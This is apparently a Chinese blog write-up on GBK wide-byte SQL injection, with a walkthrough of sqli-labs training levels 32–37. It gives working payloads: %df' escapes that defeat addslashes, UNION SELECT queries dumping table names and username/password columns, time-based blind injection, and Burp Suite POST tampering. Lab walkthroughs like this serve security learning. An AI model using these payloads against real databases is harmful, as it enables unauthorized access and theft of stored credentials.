补充知识:宽字节注入

定义:GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符

原理GBK注射宽字节注入

 

在使用PHP连接MySQL的时候,当设置“set  character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,注入参数里带入% DF%27,即可把(%5C)吃掉,举个例子。

 

 

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

当提交id=1' and 1=1%23时,

MySQL的运行的SQL语句为

 

select * from user where  id ='1\' and 1=1#'

1

很明显这是没有注入成功的,而当我们提交

 

id=1%df' and 1=1%23

1

MySQL的运行的SQL语句为

 

select * from user where id ='1運' and 1=1#'

1

我们这里的宽字节注入是利用的MySQL的一个特性,MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。这就是MySQL的的特性,因为GBK是多字节编码,他认为两个字节代表一个汉字,所以%DF和后面的\也就是%5c中变成了一个汉字“运”,而“逃逸了出来。

 

原文链接:https://blog.csdn.net/heiseweiye/article/details/82723478

宽字节注入原理即是利用编码转换,将服务器端强制添加的本来用于转义的\符号吃掉,从而能使攻击者输入的引号起到闭合作用,以至于可以进行SQL注入。

原文链接:https://blog.csdn.net/helloc0de/article/details/76180190

 

推荐解码网站:http://www.mytju.com/classcode/tools/urldecode_gb2312.asp

 

Less_32

输入: ?Id=1  回显正常;

方法一:

输入:?id=1'  回显正常,但发现单引号被转义了;

输入:?Id=1%df’     回显错误,出现报错;

输入: ?Id=1%df%27’  同样回显错误,出现报错;

输入:?Id=1%df’ --+  回显正常;

输入:?id=1%df' order by 3/4--+   查询到有多少列;

输入:?id=-1%df' union select 1,2,3 --+   查看回显位置;

接下来操作和less1基本一致。

方法二:

%5c代表\       只要是我们能将返回的结果中对于单引号没有转义字符进行处理即可;

就是将字母组合让他形成一个宽字节  %aa%5c (其中aa可以替换为其他)

输入:?id=-1 %aa%5c' union select 1,2,3 --+  可以查看回显位置;

后面操作和less1基本一致。

Less_33

输入: ?Id=1’   回显正常,但发现单引号被转义了;

同第32关相同,我们可以使用宽字节注入的方法;

方法一:宽字节注入

输入 ?id=1%df' --+  回显正常;

输入?id=1%df' order by 3/4 --+ 可查看有多少列;

输入?id=-1%df' union select 1,2,3 --+ 可查看回显位置;

其他操作和less1基本一致。

方法二:自定义闭合

输入?id=-1 %aa%5c%27 union select 1,2,3--+  回显正常;

其他操作和less1基本一致。

Less_34

首先我们查询admin密码:

使用admin 111111 进行登录,登录成功;

使用admin admin进行登录,登陆失败;

查看源码:

可知本关也使用了addslashes()函数,理论上我们可以使用前几关中的宽字节注入的方法进行测试,但是测试的时候发现,方法并不奏效。(主要原因是因为我们不能够直接在POST中传入数据,因为会被再次编码);

分析:在get型传参的时候使用URLencode,所以我们可以使用以下两种方法:

方法一:我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘à �’

方法二:我们使用burpsuite进行抓包之后对数据进行宽字节注入

方法一:

在POST中传入的数据:1 �‘ union select 1,2# (注意:在这里不能够再使用--+   -- 空格等这样的注释符,推荐使用#)其中 第一个1是随意的数字

方法二:

输入   a%df’   a%df’

进行抓包:

我们在这个里面改的时候,通过burpsuite抓包发现还是会给我们加上%25,所以我们直接在burpsuite中修改信息得到返回信息即可

Less_35

查看源代码得知第35关没有包裹;

方法一:联合查询

输入:  ?id=-1 union select 1,2,3--+  得到显示位置;

剩下步骤和less1基本一致。

查库:?id=-1 union select 1,2,group_concat(schema_name)from information_schema.schemata --+

查表:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查字段:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查字段中的值:?id=-1 union select 1,2,group_concat(concat('~',username,password)) from security.users--+

方法二:使用时间盲注

输入:?id=1 and if(length(database())=1,1,sleep(5)  ),发现延时;

接下来操作与其他时间盲注操作基本一致。

Less_36

查看源码得知第36关使用‘’包裹,且使用下面函数;

输入?id=1’ 回显正常,但’被转义;

使用宽字节注入

输入:?id=-1%df' union select 1,2,3 --+  得到回显位置;

输入: ?id=-1%df' union select 1,2,group_concat(table_name) from  information_schema.tables where table_schema = 0x7365637572697479  --+ 查表;

输入: ?id=-1%df’ union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users  --+ 得到字段的值;

其他操作与less1基本一致。

Less_37

使用admin 111111登陆成功;

使用admin admin,登陆失败;

可见与第34关一致, 与34关基本相似,本关只是将过滤函数进行了替换: mysql_real_escape_string(),同样,我们可以直接按照34关的方法即可!

分析:在get型传参的时候使用URLencode,所以我们可以使用以下两种方法:

方法一:我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘ à �' ;

方法二:我们使用burpsuite进行抓包之后对数据进行宽字节注入。

方法一:

在POST中传入的数据:1 �‘ union select 1,2# (注意:在这里不能够再使用--+   -- 空格等这样的注释符,推荐使用#)其中 第一个1是随意的数字

方法二:

输入   a%df’   a%df’

进行抓包:

我们在这个里面改的时候,通过burpsuite抓包发现还是会给我们加上%25,所以我们直接在burpsuite中修改信息得到返回信息即可

sqli-libs(32-37(宽字节注入)关)的更多相关文章

  1. MYSQL注入天书之宽字节注入

    Background-7 宽字节注入 Less-32,33,34,35,36,37六关全部是针对'和\的过滤,所以我们放在一起来进行讨论. 对宽字节注入的同学应该对这几关的bypass方式应该比较了解 ...

  2. 【sqli-labs】 对于less34 less36的宽字节注入的一点深入

    1.AddSlashes() 首先来观察一下是如何通过构造吃掉转义字符的 先将less 34的网页编码换成gbk 加上一些输出 echo "Before addslashes(): &quo ...

  3. 74cms_3.5.1 宽字节注入

    第一次进行CMS的代码审计,我选择了2014年发布的74CMS 3.5.1,历史比较久远的CMS往往存在更多的问题,虽然技术上难度不大,但是在思路方面给了我很大的启发.下面我根据我的思路给大家分享一下 ...

  4. sqli-labs(十四)(宽字节注入)

    数据库使用gbk编码的时候,会将两个字符合并成一个中文. 写在前面吧,对php的代码审计也会有帮助 直接使用 set character_set_client=gbk 或者是常见的mysql_quer ...

  5. CTF—WEB—sql注入之宽字节注入

     宽字节注入 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字 ...

  6. sqli-labs less32-37(宽字节注入)

    less-32 Bypass addslashes() less-33 Bypass addslashes() less-34 Bypass Add SLASHES less-35 addslashe ...

  7. SQL注入--宽字节注入

    PHP测试代码: <?php // 面向对象写法 $id=addslashes($_GET[‘id’]); //获取id并转义预定义字符 // /$id=$_GET[‘id’]; $mysqli ...

  8. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

    0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原 ...

  9. Mysql宽字节注入(转)

    尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如g ...

随机推荐

  1. 为什么在linux系统下安装anaconda的时候会报错

    报错界面 一开始是在官网下载的最新的包,出现了上述的报错,但是换成清华镜像之后,就没有上述报错了? 我猜测可能是因为 官网最新的版本的anaconda和你安装的python版本不兼容,而在镜像上的不是 ...

  2. 使用word时在方块中打钩

    ☑ 方法一: 第一步: 输入:2611 第二步: 选中2611 第三步: 按Alt + X Get :  ☑ 同样:用2610代替2611会得到☐ ☐2610 ☑2611 方法二 1.选择[插入]-- ...

  3. 关于springboot连接数据库失败时,系统报错 MySQL:The server time zone value 'Öйú±ê׼ʱ¼ä' is unrecognized or represents .....

    起初在遇到这个问题时,当然知道是怎么回事,但因为是新手,也不知道怎么处理... 百度了下,发现网上很多攻城狮们都是在mysql的命令行界面处理. 先输入命令:show variables like ' ...

  4. maven通过pom文件下载相关依赖包的网址

    下载有关依赖插件的网址去MVNREPOSITORY仓库寻找对应的版本然后添加到pom文件中就可以自动下载了 网址为:https://mvnrepository.com

  5. 题解【AcWing902】最短编辑距离

    题面 经典的最长公共子序列模型. 我们设 \(dp_{i,j}\) 表示 \(a_{1...i}\) 与 \(b_{1...j}\) 匹配上所需的最少操作数. 考虑删除操作,我们将 \(a_i\) 删 ...

  6. 牛客CSP-S提高组赛前集训营5 赛后总结

    A.无形的博弈 心理题. 答案为\(2^n\),可感性理解结论的正确性. #include<bits/stdc++.h> #define LL long long const LL Mod ...

  7. dubbo整合SSM登录案例

    基于dubbo/zookeeper/SSM的分布式工程   一.项目结构

  8. QQ群985135948入群密码

    QQ群985135948入群密码:键盘第三排从左往右依次按过去,就是密码 点下面这个键应该可以进群哦!

  9. 最长公共子串(LCS) lg SP1811

    后缀自动机的一大用处就是求最长公共子串了 这道题的话题意就是给你两个字符串,求最长公共子串 做法的话是先使用一个字符串建立SAM,然后让另一个串在上面进行匹配 匹配的策略是优先匹配当前节点的下一个字符 ...

  10. 强网杯2018 - nextrsa - Writeup

    强网杯2018 - nextrsa - Writeup 原文地址:M4x@10.0.0.55 所有代码均已上传至我的github 俄罗斯套娃一样的rsa题目,基本把我见过的rsa套路出了一遍,值得记录 ...